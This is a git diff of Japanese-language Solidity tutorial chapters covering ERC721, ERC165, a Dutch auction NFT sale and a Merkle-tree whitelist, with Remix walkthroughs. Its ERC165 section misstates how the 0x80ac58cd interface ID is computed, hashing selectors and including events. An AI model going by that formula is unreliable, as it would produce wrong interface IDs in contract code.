バーン関数、_balancesと_owners変数を調整してtokenIdを破棄し、同時にTransferイベントを発行。条件:tokenIdが存在する。 + function _burn(uint tokenId) internal virtual { + address owner = ownerOf(tokenId); + require(msg.sender == owner, "not owner of token"); + + _approve(owner, address(0), tokenId); + + _balances[owner] -= 1; + delete _owners[tokenId]; + + emit Transfer(owner, address(0), tokenId); + } + + // _checkOnERC721Received:関数、to がコントラクトの場合にIERC721Receiver-onERC721Receivedを呼び出し、tokenId が誤ってブラックホールに転送されることを防ぐ。 + function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory data) private { + if (to.code.length > 0) { + try IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, data) returns (bytes4 retval) { + if (retval != IERC721Receiver.onERC721Received.selector) { + revert ERC721InvalidReceiver(to); + } + } catch (bytes memory reason) { + if (reason.length == 0) { + revert ERC721InvalidReceiver(to); + } else { + /// @solidity memory-safe-assembly + assembly { + revert(add(32, reason), mload(reason)) + } + } + } + } + } + + /** + * IERC721MetadataのtokenURI関数を実装、metadataをクエリ。 + */ + function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { + require(_owners[tokenId] != address(0), "Token Not Exist"); + + string memory baseURI = _baseURI(); + return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; + } + + /** + * {tokenURI}のBaseURIを計算、tokenURIはbaseURIとtokenIdを連結したもので、開発者が書き直す必要がある。 + * BAYCのbaseURIは ipfs://QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/ + */ + function _baseURI() internal view virtual returns (string memory) { + return ""; + } +} + +``` + +## 無料ミントのAPEを書く +`ERC721`を使用して無料ミントの`WTF APE`を作成し、総量を`10000`に設定します。`mint()`と`baseURI()`関数を書き直すだけです。`baseURI()`は`BAYC`と同じに設定されているため、メタデータは直接Bored Apeのものを取得し、[RRBAYC](https://rrbayc.com/)に似ています: + +```solidity +// SPDX-License-Identifier: MIT +// by 0xAA +pragma solidity ^0.8.21; + +import "./ERC721.sol"; + +contract WTFApe is ERC721{ + uint public MAX_APES = 10000; // 総量 + + // コンストラクタ + constructor(string memory name_, string memory symbol_) ERC721(name_, symbol_){ + } + + //BAYCのbaseURIは ipfs://QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/ + function _baseURI() internal pure override returns (string memory) { + return "ipfs://QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/"; + } + + // ミント関数 + function mint(address to, uint tokenId) external { + require(tokenId >= 0 && tokenId < MAX_APES, "tokenId out of range"); + _mint(to, tokenId); + } +} +``` +## `ERC721`NFTの発行 + +`ERC721`標準があることで、`ETH`チェーン上でのNFT発行が非常に簡単になりました。今、私たち自身のNFTを発行してみましょう。 + +`Remix`で`ERC721`コントラクトと`WTFApe`コントラクトをコンパイルし(順序に従って)、デプロイ欄の下ボタンをクリックし、コンストラクタのパラメータを入力します。`name_`と`symbol_`の両方を`WTF`に設定し、`transact`キーをクリックしてデプロイします。 + +![NFT情報の重要性](./img/34-1.png) +![コントラクトのデプロイ](./img/34-2.png) + +これで、`WTF`NFTを作成しました。`mint()`関数を実行して自分自身にいくつかのトークンをミントする必要があります。`mint`関数の欄で右側の下ボタンを開き、アカウントアドレスとtokenidを入力し、`mint`ボタンをクリックして自分自身に`0`番の`WTF`NFTをミントします。 + +右側のDebugボタンをクリックして、下記のlogsの詳細を確認できます。 + +その中には4つの重要な情報が含まれています: +- イベント`Transfer` +- ミントアドレス`0x0000000000000000000000000000000000000000` +- 受信アドレス`0x5B38Da6a701c568545dCfcB03FcB875f56beddC4` +- tokenid`0` + +![NFTのミント](./img/34-3.png) + +`balanceOf()`関数を使用してアカウント残高をクエリします。現在のアカウントを入力すると、`NFT`が1つあることがわかり、ミントが成功しました。 + +アカウント情報は図の左側、右側は関数実行の詳細情報です。 + +![NFT詳細のクエリ](./img/34-4.png) + +`ownerOf()`関数を使用してNFTがどのアカウントに属するかをクエリすることもできます。`tokenid`を入力すると、私たちのアドレスが表示され、クエリに間違いありません。 + +![tokenidによる所有者詳細のクエリ](./img/34-5.png) + +## ERC165とERC721の詳細解説 +上記で述べたように、NFTが NFT を操作する能力を持たないコントラクトに転送されることを防ぐため、対象は正しくERC721TokenReceiverインターフェースを実装する必要があります: +```solidity +interface ERC721TokenReceiver { + function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes _data) external returns(bytes4); +} +``` +プログラミング言語の世界に拡張すると、JavaのinterfaceでもRustのTrait(もちろんsolidity中ではtraitにより近いのはlibrary)でも、インターフェースに関連するものはすべて、ある意味を透露しています:インターフェースは特定の行動の集合であり(solidityではさらに、インターフェースは完全に関数セレクタの集合と等価)、ある型がインターフェースを実装している限り、その型がそのような機能を持っていることを示します。したがって、あるcontract型が上述の`ERC721TokenReceiver`インターフェース(より具体的には`onERC721Received`関数を実装)を実装している限り、そのcontract型は外部に対してNFTを管理する能力を持っていることを表明します。もちろん、NFTの操作ロジックはそのコントラクトの他の関数に実装されています。 +ERC721標準は`safeTransferFrom`を実行する際に、対象コントラクトが`onERC721Received`関数を実装しているかをチェックしますが、これはERC165の思想を利用した操作です。 +**それでは究極的にERC165とは何でしょうか?** +ERC165は、自身が実装したインターフェースを外部に表明する技術標準です。上記で述べたように、インターフェースを実装することはコントラクトが特別な能力を持っていることを示します。一部のコントラクトが他のコントラクトと相互作用する際、対象コントラクトが特定の機能を持っていることを期待し、コントラクト間はERC165標準を通じて相手をクエリして相手が対応する能力を持っているかをチェックできます。 +ERC721コントラクトを例に、外部があるコントラクトがERC721かどうかをチェックする場合、[どうやって行うか?](https://eips.ethereum.org/EIPS/eip-165#how-to-detect-if-a-contract-implements-erc-165) 。この説明によると、チェック手順はまずそのコントラクトがERC165を実装しているかをチェックし、その後そのコントラクトが実装している他の特定インターフェースをチェックすることです。この時、その特定インターフェースはIERC721です。IERC721はERC721の基本インターフェースです(なぜ基本と言うかというと、`ERC721Metadata` `ERC721Enumerable` などの拡張もあるためです): + +```solidity +/// 注意この**0x80ac58cd** +/// **⚠⚠⚠ Note: the ERC-165 identifier for this interface is 0x80ac58cd. ⚠⚠⚠** +interface ERC721 /* is ERC165 */ { + event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); + + event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); + + event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); + + function balanceOf(address _owner) external view returns (uint256); + + function ownerOf(uint256 _tokenId) external view returns (address); + + function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external payable; + + function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable; + + function transferFrom(address _from, address _to, uint256 _tokenId) external payable; + + function approve(address _approved, uint256 _tokenId) external payable; + + function setApprovalForAll(address _operator, bool _approved) external; + + function getApproved(uint256 _tokenId) external view returns (address); + + function isApprovedForAll(address _owner, address _operator) external view returns (bool); +} +``` +**0x80ac58cd**= +`bytes4(keccak256(ERC721.Transfer.selector) ^ keccak256(ERC721.Approval.selector) ^ ··· ^keccak256(ERC721.isApprovedForAll.selector))`、これはERC165で規定された計算方式です。 + +同様に、ERC165自体のインターフェースを計算することができます(そのインターフェースには +`function supportsInterface(bytes4 interfaceID) external view returns (bool);` 関数のみがあり、これに対して`bytes4(keccak256(supportsInterface.selector))` を実行すると**0x01ffc9a7**が得られます。さらに、ERC721には`ERC721Metadata` などの拡張インターフェースも定義されています: + +```solidity +/// Note: the ERC-165 identifier for this interface is 0x5b5e139f. +interface ERC721Metadata /* is ERC721 */ { + function name() external view returns (string _name); + function symbol() external view returns (string _symbol); + function tokenURI(uint256 _tokenId) external view returns (string); // これは非常に重要で、フロントエンドで表示される小画像のリンクはすべてこの関数が返すものです +} +``` + +この**0x5b5e139f** の計算は: + +```solidity +IERC721Metadata.name.selector ^ IERC721Metadata.symbol.selector ^ IERC721Metadata.tokenURI.selector +``` + +solmateが実装した[ERC721.sol](https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC721.sol)はどのようにしてこれらのERC165要求の特性を完成させているのでしょうか? + +```solidity +function supportsInterface(bytes4 interfaceId) public view virtual returns (bool) { + return + interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165 + interfaceId == 0x80ac58cd || // ERC165 Interface ID for ERC721 + interfaceId == 0x5b5e139f; // ERC165 Interface ID for ERC721Metadata +} +``` + +そう、これほどシンプルです。外部が[link1](https://eips.ethereum.org/EIPS/eip-165#how-to-detect-if-a-contract-implements-erc-165) の手順に従ってチェックを行う場合、外部がこのコントラクトが165を実装しているかをチェックしたい場合、supportsInterface関数の入力パラメータが`0x01ffc9a7`の時にtrueを返し、入力パラメータが`0xffffffff`の時に返り値がfalseである必要があります。上述の実装は完璧に要求を満たしています。 + +外部がこのコントラクトがERC721かどうかをチェックしたい場合、入力パラメータが**0x80ac58cd** の時に外部がこのチェックを行いたいことを示します。trueを返します。 + +外部がこのコントラクトがERC721の拡張ERC721Metadataインターフェースを実装しているかをチェックしたい場合、入力パラメータは0x5b5e139fです。trueを返しました。 + +そして、この関数がvirtualであるため、このコントラクトの使用者はこのコントラクトを継承し、その後`ERC721Enumerable` インターフェースを実装することができます。その中の`totalSupply` などの関数を実装した後、継承した`supportsInterface`を再実装して + +```solidity +function supportsInterface(bytes4 interfaceId) public view virtual returns (bool) { + return + interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165 + interfaceId == 0x80ac58cd || // ERC165 Interface ID for ERC721 + interfaceId == 0x5b5e139f || // ERC165 Interface ID for ERC721Metadata + interfaceId == 0x780e9d63; // ERC165 Interface ID for ERC721Enumerable +} +``` + +**エレガントで、簡潔で、拡張性が最大限です。** + +## まとめ +この講義では、`ERC721`標準、インターフェース、およびその実装を紹介し、コントラクトコードに日本語注釈を追加しました。また、`ERC721`を使用して無料ミントの`WTF APE` NFTを作成し、メタデータを直接`BAYC`から呼び出しました。`ERC721`標準は現在も継続的に発展しており、現在人気のバージョンは`ERC721Enumerable`(NFTのアクセシビリティを向上)と`ERC721A`(ミント`gas`を節約)です。 \ No newline at end of file diff --git a/Languages/ja/35_DutchAuction_ja/readme.md b/Languages/ja/35_DutchAuction_ja/readme.md new file mode 100644 index 000000000..f805668e3 --- /dev/null +++ b/Languages/ja/35_DutchAuction_ja/readme.md @@ -0,0 +1,185 @@ +--- +title: 35. ダッチオークション +tags: + - solidity + - application + - wtfacademy + - ERC721 + - Dutch Auction +--- + +# WTF Solidity極簡入門: 35. ダッチオークション + +私は最近Solidityを再学習し、詳細を固めながら「WTF Solidity極簡入門」を書いています。これは初心者向けです(プログラミング上級者は他のチュートリアルを参照してください)。毎週1-3講を更新します。 + +Twitter:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ:[Discord](https://discord.gg/5akcruXrsk)|[WeChatグループ](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのコードとチュートリアルはgithubでオープンソース化されています:[github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +---- + +この講義では、ダッチオークションについて紹介し、簡素化版`Azuki`ダッチオークションコードを通じて、`ダッチオークション`を使用して`ERC721`標準の`NFT`を発行する方法を説明します。 + +## ダッチオークション + +ダッチオークション(`Dutch Auction`)は特殊なオークション形式です。「減価オークション」とも呼ばれ、オークション対象の競売価格が高値から順次下降し、最初の競買人が応価(底値に達するか超える)した時点で落札が成立するオークションを指します。 + +![ダッチオークション](./img/35-1.png) + +暗号通貨の世界では、多くの`NFT`がダッチオークションを通じて発売されており、`Azuki`や`World of Women`が含まれ、その中で`Azuki`はダッチオークションを通じて`8000`枚を超える`ETH`を調達しました。 + +プロジェクト側がこのオークション形式を非常に好む主な理由は2つあります: + +1. ダッチオークションの価格は最高値からゆっくりと下降し、プロジェクト側が最大の収益を得られます。 + +2. オークションが長時間続く(通常6時間以上)ため、`gas war`を避けることができます。 + +## `DutchAuction`コントラクト + +コードは`Azuki`の[コード](https://etherscan.io/address/0xed5af388653567af2f388e6224dc7c4b3241c544#code)を簡素化したものです。`DutchAuction`コントラクトは、以前に紹介した`ERC721`および`Ownable`コントラクトを継承しています: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "@openzeppelin/contracts/access/Ownable.sol"; +import "https://github.com/AmazingAng/WTF-Solidity/blob/main/34_ERC721/ERC721.sol"; + +contract DutchAuction is Ownable, ERC721 { +``` + +### `DutchAuction`状態変数 + +コントラクトには合計`9`個の状態変数があり、そのうち`6`個がオークションに関連しています: + +- `COLLECTION_SIZE`:NFTの総数 +- `AUCTION_START_PRICE`:ダッチオークションの開始価格(最高価格) +- `AUCTION_END_PRICE`:ダッチオークションの終了価格(最低価格/フロア価格) +- `AUCTION_TIME`:オークションの持続時間 +- `AUCTION_DROP_INTERVAL`:価格が下降する間隔 +- `auctionStartTime`:オークションの開始時間(ブロックチェーンタイムスタンプ、`block.timestamp`) + +```solidity + uint256 public constant COLLECTION_SIZE = 10000; // NFTの総数 + uint256 public constant AUCTION_START_PRICE = 1 ether; // 開始価格(最高価格) + uint256 public constant AUCTION_END_PRICE = 0.1 ether; // 終了価格(最低価格/フロア価格) + uint256 public constant AUCTION_TIME = 10 minutes; // オークション時間、テストの便宜上10分に設定 + uint256 public constant AUCTION_DROP_INTERVAL = 1 minutes; // 価格が下降する間隔 + uint256 public constant AUCTION_DROP_PER_STEP = + (AUCTION_START_PRICE - AUCTION_END_PRICE) / + (AUCTION_TIME / AUCTION_DROP_INTERVAL); // 各価格下降ステップ + + uint256 public auctionStartTime; // オークション開始タイムスタンプ + string private _baseTokenURI; // metadata URI + uint256[] private _allTokens; // すべての存在するtokenIdを記録 +``` + +### `DutchAuction`関数 + +ダッチオークションコントラクトには合計`9`個の関数があります。`ERC721`に関連する関数はここでは再度説明せず、オークションに関連する関数のみを紹介します。 + +- オークション開始時間の設定:コンストラクタで現在のブロック時間を開始時間として宣言し、プロジェクト側は`setAuctionStartTime()`関数を通じて調整することもできます: + +```solidity + constructor() ERC721("WTF Dutch Auction", "WTF Dutch Auction") { + auctionStartTime = block.timestamp; + } + + // auctionStartTime setter関数、onlyOwner + function setAuctionStartTime(uint32 timestamp) external onlyOwner { + auctionStartTime = timestamp; + } +``` + +- オークションリアルタイム価格の取得:`getAuctionPrice()`関数は現在のブロック時間とオークション関連の状態変数を通じてリアルタイムオークション価格を計算します。 + +`block.timestamp`が開始時間より小さい場合、価格は最高価格`AUCTION_START_PRICE`; + +`block.timestamp`が終了時間より大きい場合、価格は最低価格`AUCTION_END_PRICE`; + +`block.timestamp`が両者の間にある場合、現在の減衰価格を計算します。 + +```solidity + // オークションリアルタイム価格を取得 + function getAuctionPrice() + public + view + returns (uint256) + { + if (block.timestamp < auctionStartTime) { + return AUCTION_START_PRICE; + }else if (block.timestamp - auctionStartTime >= AUCTION_TIME) { + return AUCTION_END_PRICE; + } else { + uint256 steps = (block.timestamp - auctionStartTime) / + AUCTION_DROP_INTERVAL; + return AUCTION_START_PRICE - (steps * AUCTION_DROP_PER_STEP); + } + } +``` + +- ユーザーオークションと`NFT`ミント:ユーザーは`auctionMint()`関数を呼び出して`ETH`を支払い、ダッチオークションに参加して`NFT`をミントします。 + +この関数はまずオークションが開始されているか/ミントが`NFT`総数を超えていないかをチェックします。次に、コントラクトは`getAuctionPrice()`とミント数量を通じてオークションコストを計算し、ユーザーが支払った`ETH`が十分かをチェックします:十分であれば、`NFT`をユーザーにミントし、超過分の`ETH`を返金します;そうでなければ、トランザクションを戻します。 + +```solidity + // オークションmint関数 + function auctionMint(uint256 quantity) external payable{ + uint256 _saleStartTime = uint256(auctionStartTime); // ローカル変数を作成、gas消費を削減 + require( + _saleStartTime != 0 && block.timestamp >= _saleStartTime, + "sale has not started yet" + ); // 開始オークション時間が設定されているか、オークションが開始されているかをチェック + require( + totalSupply() + quantity <= COLLECTION_SIZE, + "not enough remaining reserved for auction to support desired mint amount" + ); // NFT上限を超えていないかをチェック + + uint256 totalCost = getAuctionPrice() * quantity; // mintコストを計算 + require(msg.value >= totalCost, "Need to send more ETH."); // ユーザーが十分なETHを支払っているかをチェック + + // NFTをミント + for(uint256 i = 0; i < quantity; i++) { + uint256 mintIndex = totalSupply(); + _mint(msg.sender, mintIndex); + _addTokenToAllTokensEnumeration(mintIndex); + } + // 余剰ETHを返金 + if (msg.value > totalCost) { + payable(msg.sender).transfer(msg.value - totalCost); //ここでリエントランシーのリスクがないか注意 + } + } +``` + +- プロジェクト側による調達した`ETH`の引き出し:プロジェクト側は`withdrawMoney()`関数を通じてオークションで調達した`ETH`を引き出すことができます。 + +```solidity + // 引き出し関数、onlyOwner + function withdrawMoney() external onlyOwner { + (bool success, ) = msg.sender.call{value: address(this).balance}(""); // call関数の呼び出し方法は第22講を参照 + require(success, "Transfer failed."); + } +``` + +## Remixデモ + +1. コントラクトのデプロイ:まず、`DutchAuction.sol`コントラクトをデプロイし、`setAuctionStartTime()`関数を通じてオークション開始時間を設定します。 +この例では、開始時間を2023年3月19日14:34(UTC時間1679207640に対応)に使用します。実験時にはツールウェブサイト([こちら](https://tool.chinaz.com/tools/unixtime.aspx)など)で対応する時間を自分で確認できます。 + +![オークション開始時間の設定](./img/35-2.png) + +2. ダッチオークション:その後、`getAuctionPrice()`関数を通じて**現在の**オークション価格を取得できます。オークション開始前の価格は`開始価格 AUCTION_START_PRICE`であることが観察でき、オークションが進行するにつれて、オークション価格は徐々に下降し、`フロア価格 AUCTION_END_PRICE`まで下降した後は変化しません。 + +![ダッチオークション価格の変化](./img/35-3.png) + +3. Mint操作:`auctionMint()`関数を通じてmintを完了します。この例では、時間がすでにオークション時間を超えているため、`フロア価格`のみでオークションが完了したことが分かります。 + +![ダッチオークションの完了](./img/35-4.png) + +4. `ETH`の引き出し:`withdrawMoney()`関数を通じて直接、調達した`ETH`を`call()`でコントラクト作成者のアドレスに送信できます。 + +## まとめ + +この講義では、ダッチオークションを紹介し、簡素化版`Azuki`ダッチオークションコードを通じて、`ダッチオークション`を使用して`ERC721`標準の`NFT`を発行する方法を説明しました。私がオークションで手に入れた最も高価な`NFT`は、音楽家`Jonathan Mann`の音楽`NFT`です。あなたはどうですか? \ No newline at end of file diff --git a/Languages/ja/36_MerkleTree_ja/readme.md b/Languages/ja/36_MerkleTree_ja/readme.md new file mode 100644 index 000000000..14ba9aa10 --- /dev/null +++ b/Languages/ja/36_MerkleTree_ja/readme.md @@ -0,0 +1,213 @@ +--- +title: 36. マークルツリー +tags: + - solidity + - application + - wtfacademy + - ERC721 + - Merkle Tree +--- + +# WTF Solidity極簡入門: 36. マークルツリー + +私は最近Solidityを再学習し、詳細を固めながら「WTF Solidity極簡入門」を書いています。これは初心者向けです(プログラミング上級者は他のチュートリアルを参照してください)。毎週1-3講を更新します。 + +Twitter:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ:[Discord](https://discord.gg/5akcruXrsk)|[WeChatグループ](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのコードとチュートリアルはgithubでオープンソース化されています:[github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +この講義では、`マークルツリー`について紹介し、それを使用して`NFT`ホワイトリストを配布する方法を説明します。 + +## `マークルツリー` + +`マークルツリー`は、メルクルツリーまたはハッシュツリーとも呼ばれ、ブロックチェーンの基本的な暗号技術であり、ビットコインやイーサリアムブロックチェーンで広く使用されています。`マークルツリー`は下から上に構築される暗号化ツリーで、各リーフは対応するデータのハッシュに対応し、各非リーフは2つの子ノードのハッシュを表します。 + +![マークルツリー](./img/36-1.png) + +`マークルツリー`は大規模データ構造の内容を効率的かつ安全に検証(`マークル証明`)することを可能にします。`N`個のリーフノードを持つ`マークルツリー`において、指定されたデータが有効か(`マークルツリー`のリーフノードに属するか)を検証するのに必要なのは`log(N)`個のデータ(`proofs`)のみであり、非常に効率的です。データが間違っているか、与えられた`proof`が間違っている場合、`root`の根の値を復元することはできません。 + +以下の例では、リーフ`L1`の`マークル証明`は`Hash 0-1`と`Hash 1`です:これら2つの値を知ることで、`L1`の値が`マークルツリー`のリーフにあるかどうかを検証できます。なぜでしょうか? +リーフ`L1`を通じて`Hash 0-0`を計算でき、`Hash 0-1`も知っているので、`Hash 0-0`と`Hash 0-1`を組み合わせて`Hash 0`を計算でき、`Hash 1`も知っているので、`Hash 0`と`Hash 1`を組み合わせて`Top Hash`(根ノードのハッシュ)を計算できるからです。 + +![マークル証明](./img/36-2.png) + +## `マークルツリー`の生成 + +[ウェブページ](https://lab.miguelmota.com/merkletreejs/example/)またはJavascriptライブラリ[merkletreejs](https://github.com/miguelmota/merkletreejs)を使用して`マークルツリー`を生成できます。 + +ここでは、ウェブページを使用して`4`つのアドレスをリーフノードとする`マークルツリー`を生成します。リーフノードの入力: + +```solidity + [ + "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4", + "0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2", + "0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db", + "0x78731D3Ca6b7E34aC0F824c42a7cC18A495cabaB" + ] +``` + +メニューで`Keccak-256`、`hashLeaves`、`sortPairs`オプションを選択し、`Compute`をクリックすると、`マークルツリー`が生成されます。`マークルツリー`は以下のように展開されます: + +``` +└─ Root: eeefd63003e0e702cb41cd0043015a6e26ddb38073cc6ffeb0ba3e808ba8c097 + ├─ 9d997719c0a5b5f6db9b8ac69a988be57cf324cb9fffd51dc2c37544bb520d65 + │ ├─ Leaf0:5931b4ed56ace4c46b68524cb5bcbf4195f1bbaacbe5228fbd090546c88dd229 + │ └─ Leaf1:999bf57501565dbd2fdcea36efa2b9aef8340a8901e3459f4a4c926275d36cdb + └─ 4726e4102af77216b09ccd94f40daa10531c87c4d60bba7f3b3faf5ff9f19b3c + ├─ Leaf2:04a10bfd00977f54cc3450c9b25c9b3a502a089eba0097ba35fc33c4ea5fcb54 + └─ Leaf3:dfbe3e504ac4e35541bebad4d0e7574668e16fefa26cd4172f93e18b59ce9486 +``` + +![マークルツリーの生成](./img/36-3.png) + +## `マークル証明`の検証 + +ウェブサイトを通じて、`アドレス0`の`proof`を以下のように取得できます。これは図2の青いノードのハッシュ値です: + +```solidity +[ + "0x999bf57501565dbd2fdcea36efa2b9aef8340a8901e3459f4a4c926275d36cdb", + "0x4726e4102af77216b09ccd94f40daa10531c87c4d60bba7f3b3faf5ff9f19b3c" +] +``` + +`MerkleProof`ライブラリを使用して検証します: + +```solidity +library MerkleProof { + /** + * @dev `proof`と`leaf`から再構築された`root`が与えられた`root`と等しい場合、`true`を返します。データが有効であることを意味します。 + * 再構築中、リーフノードペアと要素ペアの両方がソートされます。 + */ + function verify( + bytes32[] memory proof, + bytes32 root, + bytes32 leaf + ) internal pure returns (bool) { + return processProof(proof, leaf) == root; + } + + /** + * @dev `leaf`と`proof`から計算された`マークルツリー`の`root`を返します。 + * `proof`は再構築された`root`が与えられた`root`と等しい場合のみ有効です。 + * 再構築中、リーフノードペアと要素ペアの両方がソートされます。 + */ + function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { + bytes32 computedHash = leaf; + for (uint256 i = 0; i < proof.length; i++) { + computedHash = _hashPair(computedHash, proof[i]); + } + return computedHash; + } + + // ソート済みペアハッシュ + function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) { + return a < b ? keccak256(abi.encodePacked(a, b)) : keccak256(abi.encodePacked(b, a)); + } +} +``` + +`MerkleProof`ライブラリには3つの関数が含まれています: + +1. `verify()`関数:`proof`を使用して`leaf`が`root`を根とする`マークルツリー`に属するかを検証します。属する場合は`true`を返します。`processProof()`関数を呼び出します。 + +2. `processProof()`関数:`proof`と`leaf`を順番に使用して`マークルツリー`の`root`を計算します。`_hashPair()`関数を呼び出します。 + +3. `_hashPair()`関数:`keccak256()`関数を使用して非根ノードに対応する2つの子ノードのハッシュ(ソート済み)を計算します。 + +`verify()`関数に`アドレス0`、`root`、および対応する`proof`を入力すると、`true`を返します。なぜなら`アドレス0`は`root`を根とする`マークルツリー`にあり、`proof`が正しいからです。これらの値のいずれかを変更すると、`false`を返します。 + +`マークルツリー`を使用したNFTホワイトリストの配布: + +800個のアドレスのホワイトリストを更新すると、ガス手数料で1 ETH以上を簡単に消費する可能性があります。しかし、`マークルツリー`検証を使用すると、`leaf`と`proof`はバックエンドに存在でき、チェーン上には`root`の値を1つだけ保存すればよく、非常にガス効率的です。多くの`ERC721` NFTや`ERC20`標準トークンのホワイトリスト/エアドロップは`マークルツリー`を使用して発行されており、Optimismのエアドロップなどがあります。 + +ここでは、`MerkleTree`コントラクトを使用してNFTホワイトリストを配布する方法を紹介します: + +```solidity +contract MerkleTree is ERC721 { + bytes32 immutable public root; // マークルツリーの根 + mapping(address => bool) public mintedAddress; // 既にミントされたアドレスを記録 + + // コンストラクタ、NFTコレクションの名前とシンボル、マークルツリーの根を初期化 + constructor(string memory name, string memory symbol, bytes32 merkleroot) + ERC721(name, symbol) + { + root = merkleroot; + } + + // マークルツリーを使用してアドレスを検証し、ミント + function mint(address account, uint256 tokenId, bytes32[] calldata proof) + external + { + require(_verify(_leaf(account), proof), "Invalid merkle proof"); // マークル検証が通過 + require(!mintedAddress[account], "Already minted!"); // アドレスがまだミントされていない + + mintedAddress[account] = true; // ミントされたアドレスを記録 + _mint(account, tokenId); // ミント + } + + // マークルツリーのリーフのハッシュ値を計算 + function _leaf(address account) + internal pure returns (bytes32) + { + return keccak256(abi.encodePacked(account)); + } + + // マークルツリー検証、MerkleProofライブラリのverify()関数を呼び出し + function _verify(bytes32 leaf, bytes32[] memory proof) + internal view returns (bool) + { + return MerkleProof.verify(proof, root, leaf); + } +} +``` + +`MerkleTree`コントラクトは`ERC721`標準を継承し、`MerkleProof`ライブラリを利用しています。 + +### 状態変数 + +コントラクトには2つの状態変数があります: +- `root`は`マークルツリー`の根を保存し、コントラクトデプロイ時に割り当てられます。 +- `mintedAddress`は`mapping`で、ミントされたアドレスを記録します。ミント成功後に値が割り当てられます。 + +### 関数 + +コントラクトには4つの関数があります: +- コンストラクタ:NFTの名前とシンボル、`マークルツリー`の`root`を初期化します。 +- `mint()`関数:ホワイトリストを使用してNFTをミントします。引数として`account`(ホワイトリストアドレス)、`tokenId`(ミントされるID)、`proof`を取ります。関数はまず`address`がホワイトリストにあるかを検証します。検証が通過すると、ID `tokenId`のNFTがアドレスにミントされ、`mintedAddress`に記録されます。このプロセスは`_leaf()`関数と`_verify()`関数を呼び出します。 +- `_leaf()`関数:`マークルツリー`のリーフアドレスのハッシュを計算します。 +- `_verify()`関数:`MerkleProof`ライブラリの`verify()`関数を呼び出して`マークルツリー`を検証します。 + +### `Remix`検証 + +上記の例の4つのアドレスをホワイトリストとして使用し、`マークルツリー`を生成します。3つの引数で`MerkleTree`コントラクトをデプロイします: + +```solidity +name = "WTF MerkleTree" +symbol = "WTF" +merkleroot = 0xeeefd63003e0e702cb41cd0043015a6e26ddb38073cc6ffeb0ba3e808ba8c097 +``` + +![MerkleTreeコントラクトのデプロイ](./img/36-5.png) + +次に、`mint`関数を実行してアドレス0のために`NFT`をミントします。3つのパラメータを使用します: + +```solidity +account = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 +tokenId = 0 +proof = ["0x999bf57501565dbd2fdcea36efa2b9aef8340a8901e3459f4a4c926275d36cdb", "0x4726e4102af77216b09ccd94f40daa10531c87c4d60bba7f3b3faf5ff9f19b3c"] +``` + +`ownerOf`関数を使用して、NFTの`tokenId` 0がアドレス0にミントされたことを検証でき、コントラクトが正常に実行されたことが確認できます。 + +`tokenId`の保有者を0に変更しても、コントラクトは正常に実行されます。 + +この時点で再度`mint`関数を呼び出すと、アドレスは`マークル証明`検証を通過できますが、アドレスが既に`mintedAddress`に記録されているため、`"Already minted!"`によりトランザクションが中止されます。 + +この講義では、`マークルツリー`の概念、簡単な`マークルツリー`の生成方法、スマートコントラクトを使用した`マークルツリー`の検証方法、およびそれを使用して`NFT`ホワイトリストを配布する方法を紹介しました。 + +実際の使用では、複雑な`マークルツリー`はJavascriptの`merkletreejs`ライブラリを使用して生成・管理でき、チェーン上には1つの根の値のみを保存すればよく、非常にガス効率的です。多くのプロジェクトチームが`マークルツリー`を使用してホワイトリストを配布することを選択しています。 \ No newline at end of file diff --git a/Languages/ja/37_Signature_ja/readme.md b/Languages/ja/37_Signature_ja/readme.md new file mode 100644 index 000000000..608e9ab5e --- /dev/null +++ b/Languages/ja/37_Signature_ja/readme.md @@ -0,0 +1,294 @@ +--- +title: 37. デジタル署名 +tags: + - Solidity + - Application + - WTF Academy + - ERC721 + - Signature +--- + +# WTF Solidity極簡入門: 37. デジタル署名 + +私は最近Solidityを再学習し、詳細を固めながら「WTF Solidity極簡入門」を書いています。これは初心者向けです(プログラミング上級者は他のチュートリアルを参照してください)。毎週1-3講を更新します。 + +Twitter:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ:[Discord](https://discord.gg/5akcruXrsk)|[WeChatグループ](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) 